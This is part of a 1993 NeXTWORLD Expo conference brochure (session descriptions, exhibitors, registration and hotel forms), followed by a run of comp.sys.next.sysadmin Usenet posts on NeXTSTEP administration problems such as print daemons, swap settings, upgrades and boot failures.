** TRAINING FOR SUCCESS **
Training alternatives are critical to meeting the diverse needs of
NeXTSTEP developers, users, and systems administrators. This panel
includes representatives from NeXT's training consortium, NeXT
instructors, and customers whose successes with NeXTSTEP have been
accelerated by choosing the right training curriculum.
** WORKFLOW MANAGEMENT **
Most business processes involve contributions and approvals from a
variety of individuals. NeXTSTEP is a natural environment for
working simultaneously and in series with a group of colleagues.
Customers in electronic publishing, a corporate legal department, and
university curriculum development describe their collaborative
processes under NeXTSTEP.
** COMPREHENSIVE SERVICES AND SUPPORT **
Leading strategies for customer support put the power in customers'
hands. Enterprise-wide computing and custom application development
depend on timely, accurate support. NeXT delivers this with a
professional staff and innovative systems. Learn NeXT's strategy to
put the power in your hands.
** TRACK FOUR **
THEME: HOT PRODUCTS
The sizzle in the NeXTSTEP market is the varied software solutions
offered in hotly contested application categories. In this track,
developers demonstrate the best and newest tools for document
creation, presentation, financial modeling, database management,
business graphics, and software emulation. With this background,
users will be better able to examine the strengths and weaknesses of
the products shown on the exhibit floor.
TRACK FOUR SESSIONS:
** DOCUMENT CREATION **
The leading applications for creating business documents square off.
Their different approaches to page layout and design provide good
choices for every kind of NeXTSTEP user. This session provides an
excellent opportunity to view, evaluate, and discuss the wide array
of page layout applications available for NeXTSTEP.
** PRODUCTIVITY, NeXTSTEP STYLE **
In this session, developers discuss the feature and benefits of
today's NeXTSTEP productivity applications and how they can be used
most effectively. NeXTSTEP is home to innovative software products
in virtually every productivity category. What's truly amazing is
the way they all work together in an integrated user environment.
** INFORMATION MANAGERS **
The last year has seen an explosion of products for managing personal
and group information. These tools have allowed NeXTSTEP users to
move even closer towards the goal of a true paperless office. Learn
about the calendar, address books, and free-form databases that are
on the vanguard of workgroup computing on NeXTSTEP.
** BETTER PRESENTATIONS **
Making presentations is among the most frequent tasks in business.
Creating presentations using NeXTSTEP and available third-party
applications has proven to be both easy and impactful. Here we look
at the options for improving your delivery with visually appealing
slides and interactive media.
** EMULATION AND CONNECTIVITY **
NeXTSTEP is great, but sometimes you have concessions to the rest of
the world. Whether you want to make your NeXTSTEP system behave like
Windows, Macintosh, X, or a mainframe terminal, there is a
third-party product for you. Developers in this session will review
those products available in the future.
** GRAPHICS FOR BUSINESS **
Illustration tools are not just for artists. NeXTSTEP offers some of
the best applications on any platform for creating business charts,
diagrams, and drawings. Whether you're looking for applications in
the area of free-hand drawing, product planning and flowcharts, or
presentation enhancement, this session is for you.
** MULTIMEDIA AND 3D **
NeXTSTEP has always been a leader in the area of multimedia. Learn
how NeXTSTEP's inclusion of RenderMan technology, strong multimedia
authoring systems and tools for sound and music have set the stage
for an explosion of software for 3D rendering, animation, and
multimedia.
** DOCUMENT MANAGEMENT **
NeXTSTEP's combination of strengths for scanning character
recognition, imaging, and collaborative computing make it an ideal
platform for document storage and retrieval. Developers demonstrate
their solutions for the potentially huge but largely underutilized
workstation application.
** SPREADSHEET AND MODELERS **
NeXTSTEP abounds in diverse solutions for financial modeling.
Whether you need a traditional spreadsheet, multi-dimensional tool or
sophisticated enterprise financial modeler, NeXTSTEP serves your
needs with strong third-party products. Come see for yourself.
____________________________________________________________________
=> NeXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES
May 25 - 27, 1993
Participating Companies:
ADAMATION
Alembic Systems International Ltd.
Altsys Corporation
Anderson Financial Systems
ANDI
Appsoft, Inc.
Athena Design
Axsys
Bacchus, Inc.
BenaTong
Blacksmith
Booz-Allen & Hamilton
Canon
Ciusa
Conextions
Cub'X Systems
Data General Corp.
Dell Computer
Epson
Firstsoft, Inc. / DBSA. Inc.
Goldleaf Publishing, Inc.
Harvard Tool Works
Hewlett-Packard Company
Highland Digital
HSD Microcomputer
Hypersight, Inc.
i-link, GmbH
Imagine Multimedia, Inc.
INSIGHT Software
Insignia Solutions, Inc.
Intel Corporation
Jana Publishing
Lighthouse Design, Ltd.
Logicon Ultasystems Inc.
LogicStream
Lotus Development Corp.
Marble Software Products
Memory International, Inc.
Millennium Software Labs, Inc.
MRJ, Inc.
NEC Technologies Inc.
NeXT, Inc.
NeXTWORLD Magazine
Northstar
nPoint
Objective Technologies, Inc.
ONyX Systems, Inc.
Pages Software, Inc.
Pangea Corporation
PARABASE
Pencom
Perennial Software
Pinnacle Research, Inc.
Professional Software, Inc.
RDR, Inc.
Ridgeback Solutions
RightBrain Software, Inc.
Sarrus Software, Inc.
Schema Research Corp.
Second Glance Software
SiRiUS Solutions, Inc.
Skylee Press
SofDesign
Software Ventures
Stone Design
System House Inc.
Systemix Software, Inc.
Tecor, Inc.
Telos / Springer-Verlag
Trident Data Systems
Trirex Systems
Vertex Software
WordPerfect Corporation
Yrrid Incorporated
..and more
____________________________________________________________________
=> NeXT USER GROUP PROGRAM AGENDA
User Group Keynote
Thursday, May 27
9:00 a.m. - 11:00 a.m.
Steve Jobs: 486--An Explosion of Users Under NeXT's Big Tent
Steve Jobs headlines this exciting kickoff to today's activities. The
number of NeXTSTEP users in the world doubled last year. With the
advent of NeXTSTEP for Intel processors, we anticipate a tremendous
explosion of new users and user group members using both black and
white hardware. How do we serve this dynamic new population and tap
into their talents? Ideas for 1993 and beyond will be discussed.
Also during this session, NeXT will present its "Golden Nugget
Awards" for special contributions by user groups during the past
year.
** USER GROUP PROGRAM: LEADERSHIP TRACK **
Thursday, May 27
11:00am - 4:00pm
-Leadership and Organizing Ideas
-Working with NeXT, 3rd Party Vendors, and Resellers
-Attracting and Keeping Volunteers and Officers
-Fundraising
** USER GROUP PROGRAM: MEMBERSHIP SERVICES TRACK **
Thursday, May 27
11:00am - 4:00pm
-Getting your members on the worldwide net
-Planning and conducting a successful meeting
-Newsletters
-Training
____________________________________________________________________
=> TUTORIALS AND BOF MEETINGS
Hands-On NeXTSTEP Tutorials
If you're new to NeXTSTEP, this is your chance to learn the
basics...and if you're a seasoned developer, you can sign-up to spend
some time with an expert on the subject of your choice. Extending
from the show floor, the NeXTSTEP hands-on tutorial area sponsored by
Dell Computer, provides User Tutorials are scheduled throughout the
three days of the Expo to introduce new users to NeXTSTEP and to
provide guidance on navigating the workspace, working with
applications, and using NeXTSTEP features.
Developer Tutorials provide two learning opportunities: hands-on
instruction in "boot camp" issues as well as one-on-one time with a
NeXT expert on specific development topics.
Birds-of-a-Feather Meetings
Developers can conduct a limited number of Birds-of-a-Feather
get-togethers on Wednesday evening, May 26, 6:00 p.m. - 8:00 p.m.
Room reservations are available on a first-come, first-served basis.
Email BOF@NeXT.com to reserve a room for your special interest group.
Please include your coordinator's name, an email address, and an
abstract of the session.
____________________________________________________________________
=> REGISTRATION, HOTEL AND TRAVEL INFORMATION
TO REGISTER FOR NeXTWORLD EXPO
Mail completed form to:
NeXTWORLD EXPO
DCI
204 Andover Street
Andover, MA 01810
-OR- Fax to: 508/470-0526 (24 hours a day)
-OR- Call Toll-Free: 800/767-2336 (US only: 8:30a.m.- 6:00p.m. EST)
-OR- International Registration: 508/470-3880
Please check all that apply:
Developer Conference (#3032)
____ $695
____ $745 (on-site)
User Conference (#3033)
____ $195
____ $245 (on-site)
Exhibits Only (#3034)
____ $25
____ $40 (on-site)
User Group Program
____ FREE (Open to all attendees who register)
SPECIAL PRICE FOR ALL CONFERENCES:
Developer Conference Package (#3032N): Includes all conferences
registration and a copy of NeXTSTEP for Intel processors User
Environment and Development Tools for your 486 computer
____ $995
____ $1095 (on-site)
____________________________________________________________________
REGISTRANT INFORMATION:
Name: ______________________________ Company: __________________
Title: ______________________________ Division: __________________
Name: ______________________________ Street: ____________________
Title: ______________________________ City: ______________________
Name: ______________________________ State/ZIP: _________________
Title: ______________________________ Phone: _____________________
Fax: ______________________
Authorized Signature/Date: _________________________________________
Method of Payment
_______ Check enclosed payable to NeXTWORLD EXPO
_______ Visa
_______ MasterCard
Card number: ____________________________
Expiration date: ________________________
Cardholder Name: ________________________
_______ Bill my firm. Attention of: ________________________________
Conference cancellation policy: Substitutions may be made at any
time. Cancellations made by May 11, 1993 will be accepted, subject to
a cancellation service charge of $100. Confirmed registrants who do
not attend the conference or cancel after May 11, 1993 are liable for
the entire registration fee. All cancellations must be made in
writing.
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
Hotel and Travel Information
NeXTWORLD EXPO is pleased to offer you special discounted hotel
overnight rooms and airfares. To receive discounted reservations or
information on these special services, please call Conference and
Travel Services (CATS) at 800/767-2755 or 508/470-3933 or fax your
request to 508/470-0526.
_____ San Francisco Hilton (Single or Double: $150)
_____ The Donatello (Single or Double: $115)
_____ Holiday Inn Union Square
_____ Single: $115
_____ Double: $135
_____ Monticello Inn (Single or Double: $120)
_____ ANA Hotel
_____ Single: $130
_____ Double: $150
_____ Savoy Hotel (Single only: $109)
_____ Campton Place
_____ Single: $160
_____ Double: $185
_____ Cartwright Hotel
_____ Single: $109
_____ Double: $119
Please indicate your first three hotel choices. We will notify you,
in writing, of your confirmed hotel assignment.
A credit card is needed to Guarantee Your Hotel Reservation
_____ VISA
_____ MasterCard
_____ Am. Express
_____ Diners Club
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_____ Personal Card
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Cardholder Name: ____________________ Arrival/Departure ___________
Company Name: _____________________ Signature: __________________
Card Number: ________________________ Business Phone: _____________
Expiration Date: ____________________ Home phone: _________________
Fax Number: _________________________
-end-
Newsgroups: comp.sys.next.sysadmin
From: camilleg@cmp-rt.music.uiuc.edu (Camille M. Goudeseune)
Subject: Re: how to restart lpd?
Date: Fri, 5 Mar 1993 19:35:04 GMT
Message-ID: <C3FL2G.J4A@news.cso.uiuc.edu>
References: <C2yvnv.GxC@news.cso.uiuc.edu> <C33oJ4.LAF@csie.nctu.edu.tw>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois School of Music
The conclusion from several netpeople is that the 2.1 printing daemons
are unreliable. Here is a little script I assembled from their collective
wisdom that restarts a dead printer. It works on our NeXT; it may work
on yours. (Of course, you're responsible for your system and I'm not.)
Camille Goudeseune
Computer Music Project, UIUC
-----------------------------------------------------------------------------
#!/bin/csh -f
#
# Kluge to restart the buggy NeXT 2.1 print daemons. Run this as root.
set f = /tmp/.lprestart
rm -rf $f
ps aux > $f
# No problem, if these daemons are already dead.
set x = `grep /usr/lib/lpd $f | sed -e "s/[^0-9]*//" -e "s/ .*//"`
kill -9 $x
set x = `grep /usr/lib/NextPrinter/npd $f | sed -e "s/[^0-9]*//" -e "s/ .*//"`
kill -9 $x
rm -rf /dev/printer # clean up after lpd
lprm - -PLocal_Printer # Empty the queue.
/usr/lib/lpd # restart daemons in this order
/usr/lib/NextPrinter/npd
rm -f $f
-----------------------------------------------------------------------------
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Increasing System Memory Buffers & Swapfile - Does it help?
Date: 5 Mar 1993 23:24:46 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1n8nfuINNqgu@senator-bedfellow.MIT.EDU>
I have an ADB color turbo system, and was told by someone that since I have
32 Megs of memory, I could increase my system memory buffers in the ROM
monitor to greatly increase my system performance. Is this true? If so,
is it a supported modification? WIll I screw something up if I do so?
I ask this because my system swapfile grows very large very often. One would
think that with 32 megs of memory, disk swapping would be kept to a miniumum.
My swapfile is set at 16 megs. Would it be advantageous to increase the low
water mark on the swapfile to 30 megs, and then add a hi water mark at 40 megs?
Thanks,
Eric
Newsgroups: comp.sys.next.sysadmin
From: uunet!sci34hub!tybrin4!trey (Trey McClendon)
Subject: Re: What is the max value for nbuf?
Message-ID: <1993Mar5.192759.245@tybrin4.uucp>
Sender: trey@tybrin4.uucp
Organization: TYBRIN Corporation, Huntsville AL
References: <1993Mar3.194617.25726@Happy-Man.com>
Distribution: usa
Date: Fri, 5 Mar 1993 19:27:59 GMT
In article <1993Mar3.194617.25726@Happy-Man.com> irving@Happy-Man.com
(Irving_Wolfe) writes:
> In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears)
writes:
> >We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!)
>
> I was once cautioned by Next not to exceed 64 buffers (no reason
> given), even though one can. Can anyone clarify this point?
> --
> Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101
> 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108
> We publish SOLID VALUE for the intelligent investor. NextMail OK
> Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
I heard it was to minimize the amount of data lost when if the system
crashes. The larger the buffer, the more stuff that could be out there
waiting to be written to disk...
Trey
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What is the max value for nbuf?
Message-ID: <18832@umd5.umd.edu>
Date: 6 Mar 93 02:35:15 GMT
References: <1mvv3dINNjm1@tamsun.tamu.edu> <1n0c47INNbq3@menudo.uh.edu> <1993Mar3.194617.25726@Happy-Man.com>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <1993Mar3.194617.25726@Happy-Man.com> Irving_Wolfe@Happy-Man.com writes:
>I was once cautioned by Next not to exceed 64 buffers (no reason
>given), even though one can. Can anyone clarify this point?
I'm not sure why they say 64, but you don't want to put *too* many buffers in
there because (a) you run the risk of losing that much data in the event of a
crash or power failure, and (b) when it goes to flush that data your disk and
the rest of the computer is tied up. I'm not sure if Mach uses a 'time to
live' like flush algorithm, or if it just flushes every X seconds, but you
could still gets lots of disk i/o in there.
You probably won't notice any difference between 64 and 128 anyway (which
would imply that 128 offers no more risk than 64, but it then offers nothing
extra over 64 either).
> Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101
> 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108
> We publish SOLID VALUE for the intelligent investor. NextMail OK
>Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
It has just been discovered that research causes cancer in rats.
Newsgroups: comp.sys.next.sysadmin
From: jayw@idsoftware.com (Jay Wilbur)
Subject: Re: Strange pop snd during login from WorkSpace
Message-ID: <1993Mar5.132514.9587@nntpxfer.psi.com>
Sender: news@nntpxfer.psi.com
Organization: Performance Systems Int'l
References: <1993Mar4.134213.29091@tybrin4.uucp>
Distribution: usa
Date: Fri, 5 Mar 1993 13:25:14 GMT
Trey McClendon writes
> Hi All,
>
> My slab, NS 3.0 - equipped, recently starting producing the pop.snd sound
> during login. It occurs between when the login window disappears and when
> the File Viewer and Dock appear. I cannot for the life of me remember
> what I could have done to make this happen. Does anybody know in general
> what causes this? Maybe some file missing? Everything else works OK.
Do you have a sound set as a New Mail alarm?
---
Jay Wilbur
Id Software
jay@idsoftware.com (NeXTMail OK)
For help with any Id Software game send E-mail
to help@idsoftware.com (NeXTmail OK)
Our "official" anonymous FTP site is ftp.uwp.edu (/pub/msdos/games/id). The
good people at uwp.edu have even given us a home-brew directory
(/pub/../id/home-brew) for all the great add-ons that have been (or will be)
written for our games.
*Upload files to /pub/incoming/id
From: hiebm@acf3.nyu.edu (Michael Hieb)
Newsgroups: comp.sys.next.sysadmin
Subject: MailBoxes are losing attchments...
Date: 6 Mar 1993 11:31:23 GMT
Organization: New York University
Message-ID: <1na22b$fbh@calvin.NYU.EDU>
Keywords: mail
No matter how many times I change permissions on the MailBoxes
directory, each time mail is received a directory is created for the
attachment which is empty. No matter the permissions on the directory,
the umask can be set for 777, the directory is made with myself as
owner, wheel as group and write permissions only for myself, and the
attachment has been lost. I have destroyed both the Active.mbox by
itself, as well as the entire MailBoxes directory. Upon recreation, no
better.
I welcome any pointers provided.
Michael
Newsgroups: comp.sys.next.sysadmin
From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Subject: Re: mount: / not found
Message-ID: <1993Mar6.150553.26151@ens.fr>
Sender: news@ens.fr (USENET News System)
Organization: Ecole Normale Superieure, PARIS, France
References: <1m3cveINN9bb@au-ns.american.edu>
Date: Sat, 6 Mar 93 15:05:53 GMT
In article <1m3cveINN9bb@au-ns.american.edu> carlos@american.edu (Carlos Li)
writes:
> We are having problems rebooting our NeXTstation with a 105MB disk drive.
> We get the messages:
> mount: / not found
> Faking root mount entries
> ...
> Then, it stops in the middle of coming up in multi-user mode. When I try
> booting to single user, the /dev/sd0a seems to get mounted as read-only,
> so I cannot modify anything, like in /etc/fstab.
> I've tried booting up from a floppy and then mounting the hard disk. It
> lets me do it, and I can change the fstab file, but when I reboot again,
> it goes back to what it was before.
> We had a power outage the night before this happened.
We had a similar problem here and we solved it more or less trickily in one
of the following way:
a) reinstall the system files from scratch (using the CD-rom)
(this makes you loose the local configuration ...)
b) restore older copies of fstab, rc, rc.local, reload the netinfo
entries for fstab from scratch (i.e. niload -d fstab . < /dev/null,
then niload fstab . < /etc/fstab) and some other tweaking ...
I would REALLY appreciate a real solution (i.e. an explanation
plus a recovery procedure)
Please send me a mail also :-)
--
Roberto Di Cosmo <dicosmo@dmi.ens.fr>
LIENS
Ecole Normale Superieure
45, Rue d'Ulm
75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin
From: orion@proxima.cc.colorado.edu (Orion Edward Poplawski)
Subject: Appleshare (works lousy!)
Message-ID: <C3HG1C.H5x@csn.org>
Sender: news@csn.org (news)
Organization: Colorado SuperNet, Inc.
Date: Sat, 6 Mar 1993 19:41:35 GMT
Has anyone out there been accessing appleshare servers with their NeXT's?
I must say that I have had very little luck. At first, I was very excited, I
installed the appletalk driver via preferences, rebooted, and there in
/Net/Appleshare were all the appleshare servers on my net! But, after trying
to access them over the past month, I rarely can smoothly connect to them, and
more often than not the workspace just sits there spinning its disk icon while
it waits for something. Looking at the the console I get mesasages like:
NFS getattr failed for server AppleShare (106): RPC: Timeout
Also, as I write, the preferences app is taking forever to shift to the
appleshare pref. panel.
--
Orion Poplawski
Physics Dept. Paraprofessional
The Colorado College
orion@proxima.cc.colorado.edu (NeXT mail OK)
(719)389-6750
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From: rhamel@iat.holonet.net (Richard Hamel)
Subject: UUCP news feed
Message-ID: <C3Hq0H.2GK@iat.holonet.net>
Organization: HoloNet National Internet Access BBS: 510-704-1058/modem
Date: Sat, 6 Mar 1993 23:17:02 GMT
Newsgroups: comp.sys.next.sysadmin
From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon)
Subject: SOLVED: Pop.snd during login process
Message-ID: <1993Mar6.142024.592@holli.uucp>
Sender: me@holli.uucp (My Account)
Organization: TYBRIN Corporation -- Huntsville, AL
Date: Sat, 6 Mar 1993 14:20:24 GMT
A few days ago I posted a question about why my slab was producing a sound
(now I know it was actually the drip.snd, but that is inconsequential)
during login. Three replies were received. One person mentioned that
after he blew away his .NeXT directory, the sound went away. On this cue
I began a close examination of the WorkSpace, SYSTEM, and NEXT1 defaults,
since the sound happens before any apps are launched ( I ruled out
Preferences by not auto-launching it).
The culprit turned out to the a bad WorkSpace LaunchPath default that
pointed to a non-existent DiskEjectFix.daemon. Once I corrected the path,
the annoying login sound sound went away. Indiscriminant moving of files
bites again!
Thanks to all who replied!
Trey
Trey McClendon
tybrin4!trey@sci34hub.sci.com
--
Trey McClendon, Madison, AL
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From: eric%basilisk@src.honeyell.com (Eric D. Engstrom)
Subject: Re: Icon.app Patch
Message-ID: <C3HsKp.1An@basilisk.uucp>
Keywords: Icon.app patch permissions crash fall-down-go-boom
Sender: eric@basilisk.uucp (Eric D. Engstrom)
Organization: anonymous
References: <tlm.731203168@scl1.al.iastate.edu>
Date: Sun, 7 Mar 1993 00:12:25 GMT
Mishkin Berteig writes
> I was wondering if anyone out there knows what shared
> libraries need to be moved around and to where in order
> for the patched Icon.app to work under NS3.0?
And Stefano Pagiola replies:
>There's instructions in Sonata, in file Iconand3.0 (or something
like
>that) as well as a little app that will do the actual patch
>(IconPatch.app). However, I have had absolutely no luck in getting
>this to work (symptom: Icon crashes immediately after loading),
>despite following the instructions to the letter. Might this be
>because I can only get at 2.0, rather than 2.1, shared libraries?
Then Tom Marchioro writes
> No, it means you've done everything perfectly, since now Icon is
working
> exactly the same under 3.0 as it once did under 2.0 :) :) :) :)
Actually, it probably means that you (Stefano) don't have the
"permissions" on the shared libs right. What you want is for them to
be executable by everyone (or at least everyone that needs to run
icon.app)
i.e,
(52)basilisk% ls -alg /2.x/shlib
total 3282
drwxrwxrwx 2 eric wheel 1024 Dec 6 15:16 ./
drwxr-xr-x 5 eric wheel 1024 Mar 1 17:07 ../
-r-xr-xr-x 1 eric wheel 1481989 Dec 6 14:38
libNeXT_s.C.shlib*
-r-xr-xr-x 1 eric wheel 131072 Dec 6 14:41
libdsp_s.A.shlib*
-r-xr-xr-x 1 eric wheel 811822 Dec 6 14:58
libmusic_s.A.shlib*
-r-xr-xr-x 1 eric wheel 72840 Dec 6 15:00 libni_s.A.shlib*
-r-xr-xr-x 1 eric wheel 673060 Dec 6 15:13
libsys_s.B.shlib*
-r-xr-xr-x 1 eric wheel 127343 Dec 6 15:16
libvideo_s.A.shlib*
Other than the permissions, the instructions in that "whasitsname"
readme/ps file on sonata with the IconApp.patch program that Stefano
eluded to were flawless.
Good luck,
Eric
+------------
Eric D. Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA
engstrom@src.honeywell.com -or- NeXT: eric%basilisk@src.honeywell.com
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From: petcher@howdy.wustl.edu (Donald N. Petcher)
Subject: DAT and 128Mb optical drives for the NeXT - compatibility?
Message-ID: <1993Mar7.024014.26328@wuphys.wustl.edu>
Sender: usenet@wuphys.wustl.edu (USENET)
Organization: Physics Dept, Washington U in St Louis
Date: Sun, 7 Mar 1993 02:40:14 GMT
What does it take for a DAT drive and an optical drive (128Mb 3.5" variety)
to work with a NeXT? I am interested in both, and have noticed that in
particular the ones being sold as Macintosh compatible have pretty good
prices. (MacDirect sells each at about the $1000-$1100 mark.) Would these
work?
Related questions:
Are ALL 3.5" opticals diskwise compatible? (I saw one ad that explicit
mentions "single-sided" 128Mb optical, which made me wonder...). Is there a
reliablity question here?
Does anyone have a recommendation for a good source for either of these
drives to use with a NeXT (Turbo monichrome NS)?
Please email unless you think what you have to say is of general interest.
I'll pass on info to anyone who wants it.
Cheers,
Don Petcher
petcher@wuphys.wustl.edu
petcher@howdy.wustl.edu
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From: hogan@boetius.rz-berlin.mpg.de (Kharim Hogan)
Subject: How to have a 3.0 client on a 2.1 network??
Message-ID: <1993Mar7.023553.1656@thunder.mcrcim.mcgill.edu>
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
Date: Sun, 7 Mar 93 02:35:53 GMT
Hi,
Does anybody have both 2.1 and 3.0 running simultaneously?
Here is a description of the situation with which I need
help...
We have a NeXT network of 6 stations. At the moment they
are all running 2.1. The server is a station with a 1.2Gb
external disk configured as the boot disk and the NetInfo
master. For several reasons, we won't be able to upgrade
to 3.0 until the summer. Meanwhile though, one of the
stations (with a 105 Mb drive) needs to be running 3.0 for
a research project. I therefore need to find a way to have
3.0 running on only this machine and keep it on the network.
I've looked everywhere for information about how to do this
but can't find any details. What I need to know is:
1) Can I just go and run the upgrade on that one station?
2) Since all the extended release, developer's toolkit, etc
is on the server and mounted onto the clients should I
unmount all this on the one client, or could I leave it
as is (even though the upgrade has been run on the client)?
3) Where can I find more detailed information about how to
set this up?
4) What happens if one runs the upgrade on the client's
boot disk if the client is part of this 2.1 network?
5) Could I just run the upgrade on the station and then
link the rest of the 3.0 extended release to somewhere
else where there is room (another disk on the network)?
i.e. since the station is a 105 Mb, there is no room
for the extended release, can I just install the 3.0
extended stuff somewhere else and export it out to that
station? Is it that simple or are there other problems
to consider?
The other thing is that we have just purchased a TurboStation
running 3.0 which needs to be connected to the network. So in
effect there will be 2 clients running 3.0 on a 2.1 network.
How can I set this up? Can anyone help me or give me pointers?
I'm not sure where to start and the docs that I have that came
with the upgrade don't say much about various configurations.
As you can see, I've no idea what to expect and don't really know
where to start. I'd be most appreciative if anyone out there's
done this sort of thing and could point me in the right direction.
Thanks!
Kharim
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hogan@music.mcgill.ca Faculty of Music, McGill University
*************************************************************************
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: General System Problems
Date: 7 Mar 1993 05:22:37 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1nc0qtINNmlq@senator-bedfellow.MIT.EDU>
Hi I wondered if anyone could answer three questions I have:
1. I set the low water mark in /etc/swaptab to be 30 Megs. After rebooting,
the size of the swapfile is 19 Megs. Shouldn't it be 30 Megs since the
low water mark is 30 Megs?
2. Every time I log in, either with my account or root, I get this message
in the console:
>Mar 6 22:58:27 localhost syslog: make_services: someone else is already
>making services.
Is this normal?
3. My system ignores characters in passwords that are 9 characters or more
long. I thought one could have as many characters in the password as you
want?
Thanks,
Eric
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From: Nitezki@NiDat.sub.org (Peter Nitezki)
Subject: Re: NeXT will not turn on!!
Message-ID: <1993Mar6.164216.4731@nidat.sub.org>
Sender: nitezki@nidat.sub.org
Organization: private site of Peter Nitezki, Kraichtal, Germany
References: <ufessex.731002990@mcl>
Date: Sat, 6 Mar 1993 16:42:16 GMT
In article <ufessex.731002990@mcl> ufessex@mcl.ucsb.edu (Fabian E.
Schonholz) writes:
> It always happens when you have a buyer...argggggg!!!
>
> Well, my machine does not want to turn on. I mean that I pressed the
> power key and nothing happens. About an year ago I had the same problem,
> but somehow it solved itself out!!! I tryed turning the machine on
> (notice that I am not saying "booting" the machine) and nothing, so I
> let it seat there for a while. Changed the plugs, etc...tryed...nothing.
> Got the plugs again in the original set up and voila!!!! it came on an
> booted. Same way now...but it has been a week or so since it has not
> come on and (I was also sick with a cold and fever) and I got a buyer
> for it and would hate to sell a machine that is not working properlly. I
> suspect the keyboard, but I am not sure...ANY IDEAS!!!!!
> --
> Fabian E. Schonholz
> ufessex@mcl.mcl.ucsb.edu.us
> fessex@cs.ucsb.edu.us
Well, is it a older machine? Sounds as if you had problems with the backup
battery. If your battery is low the clock and wakeup circuit will fail and
your NeXT stays dark.
On an older machine you can change the battery on your own risk. I don't
tell you where to find it since if you won't recognize her if you see her
you won't do any good trying to change it.
On a newer machine let a techician at your local NeXT dealer have an eye
on it since you then will have warranty on his service.
--
Peter Nitezki | Nitezki@NiDat.sub.org # Blessed thou who knoweth
Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and
D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked
GERMANY | # up to the Net. Peter 1,3-5
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From: tom@cse.fau.edu (Tom Horton)
Subject: how do I upgrade a 105 Mb system?
Message-ID: <1993Mar8.011439.29891@cybernet.cse.fau.edu>
Sender: news@cybernet.cse.fau.edu
Organization: Florida Atlantic University, Boca Raton
Date: Mon, 8 Mar 1993 01:14:39 GMT
I'd like to upgrade a 040 cube with that 105 Mb disk from NS 2.1 to 3.0. I
have another machine on the network with 3.0 installed and Upgrade.app set
up as a network upgrade server, but when I try to install 3.0 over the net
on the machine with the 100 Mb drive, I get this kind of message:
There's not enough free disk space to perform the upgrade. 72.8 MB is
needed; only 15.7 MB is available. Remove some personal files and try
again (removing system files won't help and will confuse the upgrader).
There are no user files on this 105 MB drive; just a few apps. (Users
on all on another drive, also small.)
I suspected that Upgrade.app is trying to install the same packages as
are installed on the server, because after this I looked in the file
/UpgradeLog which now contains:
Preparing / for upgrade...
Relocating package receipts...done.
Installing bill of materials for Release 2.1...done.
Installing exension package receipts: Literature Demonstrations Developer.
Upgrade preparation complete.
Hmm. No room for Literature, Demonstrations, or Developer, so I tried
to edit the update plan to leave all these out. Still claimed it needed
50 MB that I don't have. Maybe this is not the problem after all?
Any suggestions? Would I have better luck if I moved my CD over to this
machine and forgot about using Upgrade.app off the network server?
(This would be inconvenient, though.) BTW, I hope I haven't left my
2.1 system in some kind of dangerous in-between state; have I?
Thanks,
Tom
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Dept. of Computer Science and Engineering, Florida Atlantic University
Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800
Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
From: steve@estel.uindy.edu (Steve Spicklemire)
Newsgroups: comp.sys.next.sysadmin
Subject: uucp and 3.0
Date: 8 Mar 1993 02:30:07 GMT
Organization: Truevision Inc., Indianapolis, IN
Distribution: world
Message-ID: <1neb3fINNbem@epic.truevision.com>
Hi,
Since I upgraded a slab to 3.0 uucp is messed up. I can run uuxqt
as root, by hand, after some mail has been delivered, but uucico never
does in automatically. Any ideas why not?
thanks!
-steve
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Dept of Mathematics and Physics NeXTmail Welcome!
1400 East Hanna Avenue, 46227
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT will not turn on!!
Date: 7 Mar 1993 22:03:46 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1ndrg2$3q3@agate.berkeley.edu>
References: <KARTHY.93Mar7105931@dannug.dannug.dk>
In article <KARTHY.93Mar7105931@dannug.dannug.dk>
karthy@dannug.dk (Karsten Thygesen) writes:
>>>>>> On Mon, 1 Mar 1993 20:50:08 GMT, lemson@ux1.cso.uiuc.edu (David Lemson) said:
>David> Perhaps the boot cmos has been corrupted. Try removing the battery,
>David> shorting the battery holder terminals, and replacing the battery
>David> (mind the positive and negative marks).
>I have a similar problem. When I turn off the machine and want to turn
>it back on again, the monitor (monocrome btw) turn on and the internal
>harddisk spins up but there is no picture and no "beep". The solution
>is to shortwire - ups - I mean discharge the battery for a short
>period - then it works.
NO, NO, NO. Please don't short the battery itself. That can be very
dangerous. I hope you really meant shorting the (empty) battery holder
terminals like David said.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
